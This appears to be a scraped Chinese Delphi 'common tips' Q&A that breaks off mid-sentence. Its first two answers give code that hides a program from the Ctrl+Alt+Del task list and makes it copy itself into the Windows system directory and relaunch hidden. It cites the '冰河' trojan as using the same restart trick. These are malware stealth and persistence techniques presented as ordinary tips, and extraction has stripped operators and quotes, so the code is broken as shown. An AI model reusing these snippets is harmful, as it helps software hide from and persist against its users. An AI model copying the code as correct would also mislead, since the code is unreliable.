Delphi常用技巧..docVIP

Delphi常用技巧总结 Delphi常用技巧 1问:如何让del+CTRL+ALT看不见程序运行?答:为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明:function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external KERNEL32.DLL;再在上面的窗口Create事件加上一句：RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏也可以使用下面的函数:function My_SelfHide: Boolean;typeTRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;varhNdl: THandle;RegisterServiceProcess: TRegisterServiceProcess;beginResult := False;if Win32Platform VER_PLATFORM_WIN32_NT then //不是NTbeginhNdl := LoadLibrary(KERNEL32.DLL);RegisterServiceProcess := GetProcAddress(hNdl, RegisterServiceProcess);RegisterServiceProcess(GetCurrentProcessID, 1);FreeLibrary(hNdl);Result := True;endelseExit;end; 问:自我拷贝法怎么样使用?答:这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.打开Delphi,新建一个工程,在窗口的Create事件中写代码:procedure TForm1.FormCreate(Sender: TObject);var myname: string;beginmyname := ExtractFilename(Application.Exename); //获得文件名if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么..begincopyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下}Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件application.Terminate;//退出end;end;其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径.function GetWinDir: String;varBuf: array[0..MAX_PATH] of char;beginGetSystemDirectory(Buf, MAX_PATH);Result := Buf;if Result[Length(Result)]\ then Result := Result + \;end;问:如何避免同时运行多个相同程序?答:为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法.一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序.修改dpr项目文件，修改begin和end之间的代码如下： beginApplication.Initialize;if FindWindow(TForm1,Form1)=0 then begin //当没有找到Form1时执行下面代码Application.ShowMainForm:=False; //不显示主窗口Application.CreateForm(TForm1, Form1);Application.Run;end;end.另一种方法是启动时会先通过窗口名来确定是否已经在运行，如果是则关闭原先的再启动。“冰河”就是用这种方法的。这样做的好处在于方便升级.它会自动用新版本覆盖旧版本.方法如下:修改dpr项目文件usesForms,windows,messages,Unit1 in U